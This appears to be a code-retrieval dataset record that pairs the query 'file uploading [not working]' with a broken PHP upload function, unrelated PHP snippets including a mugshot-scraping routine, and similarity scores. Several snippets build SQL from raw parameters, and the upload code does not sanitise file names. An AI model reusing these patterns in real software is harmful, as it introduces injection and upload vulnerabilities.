15)\n\t\t\t\t\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\t\t\t\t$charges = $this->charge_cropper($fcharges[0], 400, 15);\n\t\t\t\t\t\t\t\t\t\t\t\tif(!$charges)\n\t\t\t\t\t\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\t\t\t\t\treturn 101;\n\t\t\t\t\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\t\t\t\t\telse\n\t\t\t\t\t\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\t\t\t\t\t//$charges = $this->charges_abbreviator($list, $charges[0], $charges[1]); \n \t$this->mugStamp($imgpath, $firstname . ' ' . $lastname, $charges[0], $charges[1]);\n\t\t\t\t\t\t\t\t\t\t\t\t\t$offender = Mango::factory('offender', \n\t array(\n\t 'scrape' => $this->scrape,\n\t 'state' => strtolower($this->state),\n\t 'county' => $county,\n\t 'firstname' => $firstname,\n\t 'lastname' => $lastname,\n\t 'booking_id' => $booking_id,\n\t 'booking_date' => $booking_date,\n\t 'scrape_time' => time(),\n\t 'image' => $imgpath,\n\t 'charges' => $charges, \n\t\t ))->create();\n\t\t #add extra fields\n\t\t foreach ($extra_fields as $field => $value)\n\t\t {\n\t\t $offender->$field = $value;\n\t\t }\n\t\t $offender->update();\n\t\t \n\t\t # now check for the county and create it if it doesnt exist \n\t\t $mscrape = Mango::factory('mscrape', array('name' => $this->scrape, 'state' => $this->state))->load();\n\t\t if (!$mscrape->loaded())\n\t\t {\n\t\t $mscrape = Mango::factory('mscrape', array('name' => $this->scrape, 'state' => $this->state))->create();\n\t\t }\n\t\t $mscrape->booking_ids[] = $booking_id;\n\t\t $mscrape->update(); \n\t\t # END DATABASE INSERTS\n\t\t return 100;\n\t\t\t\t\t\t\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\t\t\t# now run through charge logic\n\t\t\t\t\t\t\t\t\t\t$chargeCount = count($fcharges);\n\t\t\t\t\t\t\t\t\t\t# run through charge logic\t\n\t\t\t\t\t\t\t\t\t\t$mcharges \t= array(); // reset the array\n\t\t\t\t\t\t\t\t if ( $chargeCount > 2 ) //if more then 2, run through charges prioritizer\n\t\t\t\t\t\t\t\t {\n\t\t\t\t\t\t\t\t $mcharges \t= $this->charges_prioritizer($list, $fcharges);\n\t\t\t\t\t\t\t\t\t\t\tif ($mcharges == false) { mail('winterpk@bychosen.com', 'Your prioritizer failed in seminole scrape', \"******Debug Me****** \\n-=\" . $fullname .\"=-\" . \"\\n-=\" . $booking_id . \"=-\"); exit; } // debugging\n\t\t\t\t\t\t\t\t $mcharges \t= array_merge($mcharges); \n\t\t\t\t\t\t\t\t $charge1 \t= $mcharges[0];\n\t\t\t\t\t\t\t\t $charge2 \t= $mcharges[1]; \n\t\t\t\t\t\t\t\t $charges \t= $this->charges_abbreviator($list, $charge1, $charge2); \n\t\t\t\t\t\t\t\t $this->mugStamp($imgpath, $firstname . ' ' . $lastname, $charges[0], $charges[1]);\n\t\t\t\t\t\t\t\t }\n\t\t\t\t\t\t\t\t else if ( $chargeCount == 2 )\n\t\t\t\t\t\t\t\t {\n\t\t\t\t\t\t\t\t $fcharges \t= array_merge($fcharges);\n\t\t\t\t\t\t\t\t $charge1 \t= $fcharges[0];\n\t\t\t\t\t\t\t\t $charge2 \t= $fcharges[1]; \n\t\t\t\t\t\t\t\t $charges \t= $this->charges_abbreviator($list, $charge1, $charge2);\n\t\t\t\t\t\t\t\t $this->mugStamp($imgpath, $firstname . ' ' . $lastname, $charges[0], $charges[1]); \n\t\t\t\t\t\t\t\t }\n\t\t\t\t\t\t\t\t else \n\t\t\t\t\t\t\t\t {\n\t\t\t\t\t\t\t\t $fcharges \t= array_merge($fcharges);\n\t\t\t\t\t\t\t\t $charge1 \t= $fcharges[0]; \n\t\t\t\t\t\t\t\t $charges \t= $this->charges_abbreviator($list, $charge1); \n\t\t\t\t\t\t\t\t $this->mugStamp($imgpath, $firstname . ' ' . $lastname, $charges[0]); \n\t\t\t\t\t\t\t\t }\n\t\t\t\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\t\t\t// Abbreviate FULL charge list\n\t\t\t\t\t\t\t\t\t\t$dbcharges = $this->charges_abbreviator_db($list, $dbcharges);\n\t\t\t\t\t\t\t\t\t\t$dbcharges = array_unique($dbcharges);\n\t\t\t\t\t\t\t\t\t\t# BOILERPLATE DATABASE INSERTS\n\t\t\t\t\t\t\t\t\t\t$offender = Mango::factory('offender', \n\t\t\t\t\t\t\t array(\n\t\t\t\t\t\t\t \t'scrape'\t\t=> $this->scrape,\n\t\t\t\t\t\t\t \t'state'\t\t\t=> $this->state,\n\t\t\t\t\t\t\t \t'county'\t\t=> $county,\n\t\t\t\t\t\t\t 'firstname' => $firstname,\n\t\t\t\t\t\t\t 'lastname' => $lastname,\n\t\t\t\t\t\t\t 'booking_id' => $booking_id,\n\t\t\t\t\t\t\t 'booking_date' => $booking_date,\n\t\t\t\t\t\t\t 'scrape_time'\t=> time(),\n\t\t\t\t\t\t\t 'image' => $imgpath,\n\t\t\t\t\t\t\t 'charges'\t\t=> $dbcharges, \n\t\t\t\t\t\t\t ))->create();\n\t\t\t\t\t\t\t\t\t\t#add extra fields\n\t\t\t\t\t\t\t\t\t\tforeach ($extra_fields as $field => $value)\n\t\t\t\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\t\t\t$offender->$field = $value;\n\t\t\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\t\t\t$offender->update();\n\t\t\t\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t \t# now check for the county and create it if it doesnt exist \n\t\t\t\t\t\t\t\t\t\t$mscrape = Mango::factory('mscrape', array('name' => $this->scrape, 'state' => $this->state))->load();\n\t\t\t\t\t\t\t\t\t\tif (!$mscrape->loaded())\n\t\t\t\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\t\t\t$mscrape = Mango::factory('mscrape', array('name' => $this->scrape, 'state' => $this->state))->create();\n\t\t\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\t\t\t$mscrape->booking_ids[] = $booking_id;\n\t\t\t\t\t\t\t\t\t\t$mscrape->update();\t \n # END DATABASE INSERTS\n return 100;\n\t\t\t\t\t\t\t\t\t\t\t### END EXTRACTION ###\n\t\t\t\t\t\t\t\t\t} else { return 102; } // image download failed \n\t\t\t\t\t\t\t\t} else {\n\t\t\t\t\t\t\t\t\t# add new charges to the charges collection\n\t\t\t\t\t\t\t\t\tforeach ($ncharges as $key => $value)\n\t\t\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\t\t#check if the new charge already exists FOR THIS COUNTY\n\t\t\t\t\t\t\t\t\t\t$check_charge = Mango::factory('charge', array('county' => $this->scrape, 'charge' => $value))->load();\n\t\t\t\t\t\t\t\t\t\tif (!$check_charge->loaded())\n\t\t\t\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\t\t\tif (!empty($value))\n\t\t\t\t\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\t\t\t\t$charge = Mango::factory('charge')->create();\t\n\t\t\t\t\t\t\t\t\t\t\t\t$charge->charge = $value;\n\t\t\t\t\t\t\t\t\t\t\t\t$charge->abbr = $value;\n\t\t\t\t\t\t\t\t\t\t\t\t$charge->order = (int)0;\n\t\t\t\t\t\t\t\t\t\t\t\t$charge->county = $this->scrape;\n\t\t\t\t\t\t\t\t\t\t\t\t$charge->new \t= (int)0;\n\t\t\t\t\t\t\t\t\t\t\t\t$charge->update();\n\t\t\t\t\t\t\t\t\t\t\t}\t\n\t\t\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\t\t} \n\t\t\t\t\t\t return 104; \n\t\t\t\t\t\t\t\t} // ncharges validation\n\t\t\t\t\t\t\t} else { return 101; } // no charges found\t\n\t\t\t\t\t\t} else { return 101; } // no charges found\n\t\t\t\t\t} else { return 101; } // no booking_date\n\t\t\t\t} else { return 101; } // lastname validation failed\n\t\t\t} else { return 101; } // firstname validation\tfailed\n\t\t} else { return 103; } // database validation failed\n\t}", "public function get_doctor_detail($doctor_id) {\n $doctor_query = \"\n SELECT\n user_id,\n user_first_name,\n user_last_name,\n user_photo,\n user_photo_filepath,\n user_status,\n user_phone_number,\n user_email,\n user_gender,\n user_phone_verified,\n user_email_verified,\n doctor_detail_year_of_experience, \n doctor_detail_language_id, \n doctor_detail_speciality,\n address_name,\n address_name_one,\n address_city_id,\n address_state_id,\n address_country_id,\n address_pincode,\n address_latitude,\n address_longitude,\n address_locality,\n auth_phone_number as user_updated_email,\n doctor_detail_is_term_accepted,\n doctor_detail_term_accepted_date\n FROM \n \" . TBL_USERS . \" \n LEFT JOIN \n \" . TBL_DOCTOR_DETAILS . \" \n ON \n doctor_detail_doctor_id=user_id AND \n doctor_detail_status=1 \n LEFT JOIN\n \" . TBL_USER_AUTH . \" \n ON \n user_id = auth_user_id AND auth_type = 1\n LEFT JOIN \n \" . TBL_ADDRESS . \" \n ON \n address_user_id=user_id AND address_type=1\n \";\n $doctor_query.=\"\n WHERE\n user_id='\" . $doctor_id . \"' \n GROUP BY\n user_id \n \";\n\n $doctor_data = $this->get_single_row_by_query($doctor_query);\n return $doctor_data;\n }", "public function getDetails() {\r\n\t\t\treturn $this->_details;\r\n\t\t}", "public function lead()\n {\n // on this one doesnt have to mention the lead_id because inside reminder database already store the name lead_id so the lead already know the connection\n return $this->belongsTo(Lead::class);\n }", "public function getLov()\n {\n return\n DB::table('attendances')\n ->select(\n 'code',\n 'name'\n )\n ->where([\n ['tenant_id', $this->requester->getTenantId()],\n ['company_id', $this->requester->getCompanyId()]\n ])\n ->get();\n }", "static function get_failed_leads(){\n\t\t$table = self::get_offline_table();\n\t\tglobal $wpdb;\n\t\treturn $wpdb->get_col(\"SELECT `lead_id` FROM $table WHERE crm_status = 2\");\n\t}", "public function getDetail()\n {\n return $this->detail;\n }", "public function getDetail()\n {\n return $this->detail;\n }", "public function getDetail()\n {\n return $this->detail;\n }", "public function walked_in(){\n\n $telecaller_id = Auth::guard('telecaller')->user()->id;\n\n \n\n $data = [\n\n 'data' => EnquiryLeads::getAllEnquiry('telecaller','3'),\n\n 'enquiry_src' => EnquirySrc::where('status','0')->where('is_deleted','0')->get(),\n\n 'course' => Course::where('status','0')->where('is_deleted','0')->get(),\n\n 'single_enquiry_src' => new EnquirySrc,\n\n 'single_course' => new Course,\n\n 'lead_quality' => LeadQuality::get(),\n\n 'single_lead_quality' => new LeadQuality,\n\n 'type' => 'walked_in',\n\n 'link' => env('telecaller').'/enquiry_leads_walked_in'\n\n ];\n\n\n\n return View('telecaller.enquiry_leads.index',$data);\n\n }", "public function get_referral_description($referral_id){\n\t\tglobal $con;\n\t\t$query=\"SELECT patient_diagnostic,illness_history,past_medical,info_summary FROM referrals WHERE referral_id=\\\"$referral_id\\\"\";\n\t\t$info=array();\n\t\t$info=$this->select($con,$query);\n\t\treturn $info;\n\t}", "public function get_details() {\n\t\t$member_id = $this->uri->segment(3);\n\t\t$member_details = $this->get_member_details($member_id);\n\t\t\n\t\t$data['type'] = ($this->type === NULL)? 'active': $this->type;\n\t\t$data['user_mode'] = $this->session->userdata('mode');\n\t\t$data['member'] = (isset($member_details[0]))? $member_details[0]: NULL;\n\t\t\n\t\t$full_name = $member_details[0]->fname . ' ' . \n\t\t\t$member_details[0]->mname . ' ' . \n\t\t\t$member_details[0]->lname;\n\n\t\t$this->breadcrumbs->set(['Member Information: ' . $full_name => 'members/info/' . $member_id]);\n\t\t$this->render('information', $data);\n\t}", "public function index()\n { \n \n $user_id = session('USER_ID');\n $leads = Lead::where(['user_id'=>$user_id])->paginate(10);\n $lead_source_data = DB::table('leads')\n ->distinct()\n ->select('lead_source.id','lead_source.name')\n ->Join('lead_source','leads.lead_source_id','=','lead_source.id')\n ->get();\n $count = Lead::where(['user_id'=>$user_id])->count();\n /** Activity */\n $activity = Activity::where(['user_id'=>$user_id])->get()->toArray();\n if(isset($activity[0]['status'])){\n $activity = $activity[0]['status'];\n }else{\n $activity = 0; \n }\n\n return view('crm.leads.leads',compact('leads','lead_source_data','count','activity'));\n }", "public function details_get()\n \t{\n \t\tlog_message('debug', 'Score/details_get');\n\n\t\t$result = $this->_score->get_details(\n\t\t\t$this->get('type'),\n\t\t\t$this->get('codes'),\n\t\t\textract_id($this->get('userId')),\n\t\t\t(!empty($this->get('storeId'))? extract_id($this->get('storeId')): '')\n\t\t);\n\n\t\tlog_message('debug', 'Score/details_get:: [1] result='.json_encode($result));\n\t\t$this->response($result);\n\t}", "public function information() \n\t{\n UserModel::authentication();\n\n\t\t//get the activity\n\t\t$timeline = ActivityModel::timeline();\n\t\t\n $this->View->Render('user/timeline', ['timeline' => $timeline]);\n }", "public function index()\n {\n $part_dealer = $this->getUserDetail(\n $this->part_dealer->getVerifiedPartDealers()\n );\n \n return $part_dealer->additional([\n 'message' => 'All verified part dealers retrieved successfully',\n 'status' => \"success\"\n ]);\n }", "function buscarPorId(Lead $objLead){\r\n\t\t$this->sql = sprintf(\"SELECT * FROM lead WHERE id = %d\",\r\n\t\t\t\tmysqli_real_escape_string( $this->con, $objLead->getId() ) );\r\n\t\t\r\n\t\t$resultSet = mysqli_query($this->con, $this->sql);\r\n\t\tif(!$resultSet){\r\n\t\t\tdie('[ERRO]: '.mysqli_error($this->con));\r\n\t\t}\r\n\t\twhile($row = mysqli_fetch_object($resultSet)){\r\n\t\t\t$this->objLead = new Lead($row->id, $row->empresa, $row->email, $row->telefone, $row->contato, $row->datacadastro, $row->dataedicao , $row->ativo); \r\n\t\t}\r\n\t\t\r\n\t\treturn $this->objLead;\r\n\t}", "function getLead($country) { /*Get Details from Ini file stored in asset folder*/\n $leads = parse_ini_file('assets/leads.ini.php',true);\n return $leads[$country];\n}", "public function getCareer();", "public function team_info() {\n\n $method=\"team.info\";\n $payload = array();\n $team_details = $this->apicall($method, $payload);\n $this->debug(\"team-details.log\", json_encode($team_details));\n return $team_details;\n\n }", "function getERPollDetails($article_id)\n\t\t{\n\t\t\t$query = \"SELECT er_comments.* FROM tbl_elected_officials_comments er_comments\n\t\t\tleft join tbl_member m\n\t\t\ton er_comments.elected_officer_id = m.ElectedOfficialID\n\t\t\twhere article_id = '\".$article_id.\"' and article_type='poll'\";\n\t\n\t\t\t$rs = $this->Execute($query);\n\t\t\treturn $this->_getPageArray($rs, 'ElectoralDistrictComments');\n\t\t}" ]
[ "0.6562596", "0.6562596", "0.63943213", "0.62819755", "0.6278998", "0.61230266", "0.61097324", "0.60389143", "0.601215", "0.5953673", "0.5830861", "0.5763058", "0.5702871", "0.56718814", "0.5661713", "0.5633985", "0.56281805", "0.56059587", "0.55937636", "0.5589415", "0.5586336", "0.55851126", "0.5575194", "0.555876", "0.55567247", "0.555383", "0.555164", "0.5517284", "0.54944634", "0.5486946", "0.5456004", "0.5455136", "0.54506123", "0.5447564", "0.54445195", "0.54387486", "0.54370993", "0.5425066", "0.5425066", "0.5425066", "0.54151314", "0.5403614", "0.5375957", "0.5358376", "0.5358376", "0.5358376", "0.5358376", "0.5357938", "0.5357938", "0.5355893", "0.5355893", "0.5355893", "0.5350577", "0.5335886", "0.53301036", "0.5321255", "0.53156525", "0.5313787", "0.5312614", "0.53061366", "0.5303413", "0.530182", "0.5299565", "0.5284388", "0.52764493", "0.5271981", "0.52682996", "0.52653736", "0.52636033", "0.52572507", "0.5246672", "0.52393705", "0.5237664", "0.522523", "0.5224663", "0.5224048", "0.52210534", "0.5217383", "0.5217383", "0.52000695", "0.51945776", "0.5190712", "0.5172104", "0.5170712", "0.51681983", "0.5167947", "0.5167947", "0.5167947", "0.5163035", "0.5156676", "0.51410073", "0.513331", "0.51290965", "0.51207465", "0.51185995", "0.5113607", "0.5110906", "0.510989", "0.510853", "0.5105939" ]
0.5478557
30
file uploading [not working]
function FileUpload($files, $temp_name) { $ran = rand(); if (file_exists($file_upload_dir . $ran . $files)) { echo false; } else { move_uploaded_file($temp_name, $file_upload_dir . $ran . $files); echo true; } }
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "public function upload();", "public function upload()\n\t{\n\t}", "abstract protected function doUpload();", "function upload_file() {\n upload_file_to_temp();\n }", "public function uploadFile(){\n\n if (!$this->request->is('post'))\n {\n $this->setErrorMessage('Post method required');\n return;\n }\n\n if (!isset($this->request->data['currentPath']) ||\n !isset($this->request->params['form']) ||\n !isset($this->request->params['form']['idia'])\n ){\n $this->setErrorMessage('Invalid parameters');\n return;\n }\n\n $path = ltrim(trim($this->request->data['currentPath']), DS);\n $tokens = explode(DS, strtolower($path));\n\n ($tokens[0] == 'root') && ($tokens = array_slice($tokens, 1, null, true));\n\n $path = implode(DS, $tokens);\n $fullPath = WWW_FILE_ROOT . strtolower($path);\n\n if(!is_dir($fullPath)){\n $this->setErrorMessage('Invalid path');\n return;\n }\n\n if(is_file($fullPath . DS . strtolower($this->request->params['form']['idia']['name']))){\n $this->setErrorMessage('File with similar name already exist');\n return;\n }\n\n $newFile = new File($fullPath . DS . strtolower($this->request->params['form']['idia']['name']), true );\n $newFile->close();\n\n $tempFile = new File(($this->request->params['form']['idia']['tmp_name']));\n $tempFile->copy($fullPath . DS .$this->request->params['form']['idia']['name']);\n $tempFile->delete();\n\n $this->set(array(\n 'status' => 'ok',\n \"message\" => 'successful',\n \"_serialize\" => array(\"message\", \"status\")\n ));\n }", "public function handle_upload()\n {\n }", "public function upload()\n {\n App::import('Lib', 'Uploads.file_receiver/FileReceiver');\n App::import('Lib', 'Uploads.file_dispatcher/FileDispatcher');\n App::import('Lib', 'Uploads.file_binder/FileBinder');\n App::import('Lib', 'Uploads.UploadedFile');\n\n $this->cleanParams();\n $Receiver = new FileReceiver($this->params['url']['extensions'], $this->params['url']['limit']);\n $Dispatcher = new FileDispatcher(\n Configure::read('Uploads.base'),\n Configure::read('Uploads.private')\n );\n $Binder = new FileBinder($Dispatcher, $this->params['url']);\n try {\n $File = $Receiver->save(Configure::read('Uploads.tmp'));\n $Binder->bind($File);\n $this->set('response', $File->getResponse());\n file_put_contents(LOGS.'mh-uploads.log', date('Y-m-d H:i > ').'Uploaded '.$File->getName().chr(10), FILE_APPEND);\n } catch (RuntimeException $e) {\n file_put_contents(LOGS.'mh-uploads.log', date('Y-m-d H:i > ').$e->getMessage().chr(10), FILE_APPEND);\n $this->set('response', $this->failedResponse($e));\n }\n $this->layout = 'ajax';\n $this->RequestHandler->respondAs('js');\n }", "public function upload()\n {\n }", "public function upload()\n {\n if (null === $this->file) {\n return;\n }\n\n // si on avait un ancien fichier on le supprime\n if (null !== $this->tempFilename) {\n $oldFile = $this->getUploadRootDir().'/'.$this->id.'.'.$this->tempFilename;\n if (file_exists($oldFile)) {\n unlink($oldFile);\n }\n }\n\n // déplace le fichier envoyé dans le répertoire de notre choix\n $this->file->move(\n $this->getUploadRootDir(), // répertoire de destination\n $this->id.'.'.$this->url // nom du fichier à créer \"id.extension\"\n );\n\n }", "function media_upload_file()\n {\n }", "public function step_2_manage_upload()\n {\n }", "public function upload_foto_file()\n\t{\n\t\tif (!$this->is_allowed('m_ads_add', false)) {\n\t\t\techo json_encode([\n\t\t\t\t'success' => false,\n\t\t\t\t'message' => cclang('sorry_you_do_not_have_permission_to_access')\n\t\t\t\t]);\n\t\t\texit;\n\t\t}\n\n\t\t$uuid = $this->input->post('qquuid');\n\n\t\techo $this->upload_file([\n\t\t\t'uuid' \t\t \t=> $uuid,\n\t\t\t'table_name' \t=> 'm_ads',\n\t\t]);\n\t}", "public function upload()\n {\n if (null === $this->file) {\n return;\n }\n\n // use the original file name here but you should\n // sanitize it at least to avoid any security issues\n\n // move takes the target directory and then the\n // target filename to move to\n $this->file->move(\n $this->getUploadRootDir(),\n $this->id . '.' .$this->ext\n );\n\n // set the ext property to the filename where you've saved the file\n //$this->ext = $this->file->getClientOriginalName();\n\n // clean up the file property as you won't need it anymore\n $this->file = null;\n }", "function uploadFiles () {\n\n}", "public function ieditor_upload () {\n\t\t\tif (!empty($_FILES)) {\n\t\t\t\t$oUploadedFile = umiImageFile::upload('eip-ieditor-upload-fileinput', 0, CURRENT_WORKING_DIR . '/images/cms/data');\n\t\t\t\t// Переопределение стандартного вывода, чтобы выводилась просто строка с путем к файлу в plain text, без json.\n\t\t\t\t// Это нужно для обхода особенностей работы IE, который при выводе в hidden iframe валидного JSON предлагает его сохранить как файл.\n\t\t\t\t$buffer = new HTTPOutputBuffer();\n\t\t\t\t$buffer->push($oUploadedFile->getFilePath(true));\n\t\t\t\t$buffer->send();\n\t\t\t\texit();\n\t\t\t}\n\t\t}", "public function upload($input);", "function ft_hook_upload($dir, $file) {}", "public function uploadAction()\n {\n // default file URI\n $defaultUri = $this->_config->urlBase . 'files/';\n\n // store for sparql queries\n $store = $this->_owApp->erfurt->getStore();\n\n // DMS NS var\n $dmsNs = $this->_privateConfig->DMS_NS;\n\n // check if DMS needs to be imported\n if ($store->isModelAvailable($dmsNs) && $this->_privateConfig->import_DMS) {\n $this->_checkDMS();\n }\n\n $url = new OntoWiki_Url(\n array('controller' => 'files', 'action' => 'upload'),\n array()\n );\n\n // check for POST'ed data\n if ($this->_request->isPost()) {\n $event = new Erfurt_Event('onFilesExtensionUploadFile');\n $event->request = $this->_request;\n $event->defaultUri = $defaultUri;\n // process upload in plugin\n $eventResult = $event->trigger();\n if ($eventResult === true) {\n if (isset($this->_request->setResource)) {\n $this->_owApp->appendMessage(\n new OntoWiki_Message('File attachment added', OntoWiki_Message::SUCCESS)\n );\n $resourceUri = new OntoWiki_Url(array('route' => 'properties'), array('r'));\n $resourceUri->setParam('r', $this->_request->setResource, true);\n $this->_redirect((string)$resourceUri);\n } else {\n $url->action = 'manage';\n $this->_redirect((string)$url);\n }\n }\n }\n\n $this->view->placeholder('main.window.title')->set($this->_owApp->translate->_('Upload File'));\n OntoWiki::getInstance()->getNavigation()->disableNavigation();\n\n $toolbar = $this->_owApp->toolbar;\n $url->action = 'manage';\n $toolbar->appendButton(\n OntoWiki_Toolbar::SUBMIT, array('name' => 'Upload File')\n );\n $toolbar->appendButton(\n OntoWiki_Toolbar::EDIT, array('name' => 'File Manager', 'class' => '', 'url' => (string)$url)\n );\n\n $this->view->defaultUri = $defaultUri;\n $this->view->placeholder('main.window.toolbar')->set($toolbar);\n\n $url->action = 'upload';\n $this->view->formActionUrl = (string)$url;\n $this->view->formMethod = 'post';\n $this->view->formClass = 'simple-input input-justify-left';\n $this->view->formName = 'fileupload';\n $this->view->formEncoding = 'multipart/form-data';\n if (isset($this->_request->setResource)) {\n // forward URI to form so we can redirect later\n $this->view->setResource = $this->_request->setResource;\n }\n\n if (!is_writable($this->_privateConfig->path)) {\n $this->_owApp->appendMessage(\n new OntoWiki_Message('Uploads folder is not writable.', OntoWiki_Message::WARNING)\n );\n return;\n }\n\n // FIX: http://www.webmasterworld.com/macintosh_webmaster/3300569.htm\n header('Connection: close');\n }", "public function upload()\n\t{\n\t if (null === $this->getFile()) {\n\t return;\n\t }\n\t\n\t // use the original file name here but you should\n\t // sanitize it at least to avoid any security issues\n\t\n\t // move takes the target directory and then the\n\t // target filename to move to\n\t \n\t $this->getFile()->move($this->getWebPath(),$this->imagen);\n\t \n\t \n\t // set the path property to the filename where you've saved the file\n\t $this->path = $this->getFile()->getClientOriginalName();\n\t\t//$this->temp = \n\t // clean up the file property as you won't need it anymore\n\t $this->file = null;\n\t}", "public function upload()\n {\n if (null === $this->getFile()) {\n return;\n }\n\n // use the original file name here but you should\n // sanitize it at least to avoid any security issues\n $partes_ruta = pathinfo($this->getFile()->getClientOriginalName());\n $this->nombre = md5(uniqid()) . '.' . $partes_ruta['extension'];\n\n // move takes the target directory and then the\n // target filename to move to\n $this->getFile()->move(\n $this->getUploadRootDir(),\n $this->nombre\n );\n\n $this->url = $this->getWebPath();\n\n // clean up the file property as you won't need it anymore\n $this->file = null;\n }", "public function upload()\n {\n // The file property can be empty if the field is not required\n if (null === $this->file) {\n return;\n }\n\n // Use the original file name here but you should\n // sanitize it at least to avoid any security issues\n\n // move takes the target directory and then the\n // target filename to move to\n $this->file->move(\n $this->getUploadRootDir(),\n $this->path\n );\n\n // Set the path property to the filename where you've saved the file\n $this->path = $this->file->getClientOriginalName();\n\n // Clean up the file property as you won't need it anymore\n $this->file = null;\n }", "function upload(){\r\n\t\t\tglobal $_POST;\r\n\t\t\t$_POST['folder'] = str_replace('/umeos','',$_POST['folder']);\r\n\t\t\t$_POST['folder'] = str_replace('/root/infinite-home/','',$_POST['folder']);\r\n\r\n\t\t\tif (!empty($_FILES)) {\r\n\t\t\t\tforeach($_FILES as $file){\r\n\t\t\t if (!empty($file['tmp_name'])) {\r\n\t\t\t $this->mFile['size']\t= $file['size'];\r\n\t\t\t $this->mFile['type']\t= $file['type'];\r\n\t\t\t \t$tmp \t\t\t\t\t= $file['tmp_name'];\r\n\t\t\t \t$this->mFile['path'] \t= ($_POST['user_id']) ? $_SERVER['HTTP_HOST'].'/'. $_POST['user_id'] : $_SERVER['HTTP_HOST'] ;\r\n\t\t\t $this->mFile['name'] \t= $file['name'];\r\n\t\t\t $this->mFile['md5'] \t= md5_file($tmp);\r\n\t\t\t $this->mFile['real'] \t= htmlentities(urlencode($this->mFile['name']));\r\n\t\t\t $this->mFile['loc'] \t= '/^/'.$this->mFile['path'] .'/'. $this->mFile['md5'];\r\n\t\t\t $this->mFile['src'] \t= str_replace('//','/',$_SERVER['DOCUMENT_ROOT'].$this->mFile['loc']);\r\n\t\t\t // Uncomment the following line if you want to make the directory if it doesn't exist\r\n\t\t\t /**\r\n\t\t\t * we dont want to save the file in a dir tree...\r\n\t\t\t * only the db holds that info. instead we change save the file as its md5 hash.\r\n\t\t\t *\r\n\t\t\t */\r\n\r\n\t\t\t if(!file_exists($_SERVER['DOCUMENT_ROOT'].'/^/')){\r\n\t\t\t \tmkdir($_SERVER['DOCUMENT_ROOT'].'/^/', 0755, true);\r\n\t\t\t }\r\n\r\n\t\t\t $path = $_SERVER['DOCUMENT_ROOT'].'/^/'.$this->mFile['path'];\r\n\t\t\t $path = str_replace('//','/',$path);\r\n\r\n\r\n\t\t\t if(!file_exists($path)){\r\n\t\t\t \tmkdir($path, 0755, true);\r\n\t\t\t }\r\n\r\n\t\t\t move_uploaded_file($tmp,$this->mFile['src']);\r\n\t\t\t return $this->Index();\r\n\t\t\t }\r\n\t\t\t }\r\n\t\t\t}else{\r\n\t\t\t\treturn false;\r\n\t\t\t}\r\n\t\t}", "public function upload()\n {\n $path = $this->file_path;\n if (!file_exists($path)) {\n mkdir($path, 0777, true);\n }\n\n // Upload file. \n $file_name = strtolower(basename($_FILES['uploaded_file']['name']));\n $file_name = str_replace(' ', '-', $file_name); // Replace spaces with dashes.\n $path = $path . $file_name;\n\n $acceptable = array(\n 'image/jpeg',\n 'image/jpg',\n 'image/gif',\n 'image/png'\n );\n\n if(in_array($_FILES['uploaded_file']['type'], $acceptable)) {\n\n if(move_uploaded_file($_FILES['uploaded_file']['tmp_name'], $path)) {\n\n $file_msg = 'The file '. $path . ' has been uploaded';\n \n // Not ideal but good for now\n \n // Refresh parent on upload.\n echo \"<script>window.parent.location.reload(true);</script>\";\n\n } else {\n\n $file_msg = 'There was a problem with the upload.';\n }\n }\n else {\n\n $file_msg = 'Bad file uploaded.';\n }\n return $file_msg;\n }", "function do_upload()\r\n\t{\r\n\t\tif (isset($_FILES[$this->post_name]))\r\n\t\t{\r\n\t\t\t$post \t\t= $_FILES[$this->post_name];\r\n\t\t\t$tmp_file\t= ( !$this->isArrayPostName ) ? $post['tmp_name'] : $post['tmp_name'][$this->arrayPostName];\r\n\r\n\t\t\tif ( is_uploaded_file( $tmp_file ) )\r\n\t\t\t{\r\n\t\t\t\tif ($this->filteringExtension($post))\r\n\t\t\t\t{\r\n\t\t\t\t\tif ($this->checkFileSize())\r\n\t\t\t\t\t{\r\n\t\t\t\t\t\t$file_name = $this->getFileNameUploaded();\r\n\t\t\t\t\t\t$dest = $this->folder.$file_name;\r\n\t\t\t\t\t\t$upload = move_uploaded_file($tmp_file, $dest);\r\n\t\t\t\t\t\tif ($upload)\r\n\t\t\t\t\t\t{\r\n\t\t\t\t\t\t\t@chmod($dest, $this->chmod);\r\n\t\t\t\t\t\t\t$this->file_name_sukses_uploaded = $file_name;\r\n\t\t\t\t\t\t\t$cfg_resize = array('source_image'=> $dest);\r\n\t\t\t\t\t\t\tif($this->is_resize)\r\n\t\t\t\t\t\t\t{\r\n\t\t\t\t\t\t\t\t$cfg_resize = array(\r\n\t\t\t\t\t\t\t\t\t'source_image'=> $dest,\r\n\t\t\t\t\t\t\t\t\t'width'\t\t\t\t=> $this->rez_width,\r\n\t\t\t\t\t\t\t\t\t'height'\t\t\t=> $this->rez_height\r\n\t\t\t\t\t\t\t\t);\r\n\t\t\t\t\t\t\t\t// pr(json_encode($cfg_resize, JSON_PRETTY_PRINT), __FILE__.':'.__LINE__);\r\n\t\t\t\t\t\t\t\t_class('image_lib', $cfg_resize)->resize();\r\n\t\t\t\t\t\t\t}\r\n\t\t\t\t\t\t\tif($this->is_watermark)\r\n\t\t\t\t\t\t\t{\r\n\t\t\t\t\t\t\t\t$this->watermark_param['source_image'] = $dest;\r\n\t\t\t\t\t\t\t\t// pr(json_encode($this->watermark_param, JSON_PRETTY_PRINT), __FILE__.':'.__LINE__);\r\n\t\t\t\t\t\t\t\t_class('image_lib', 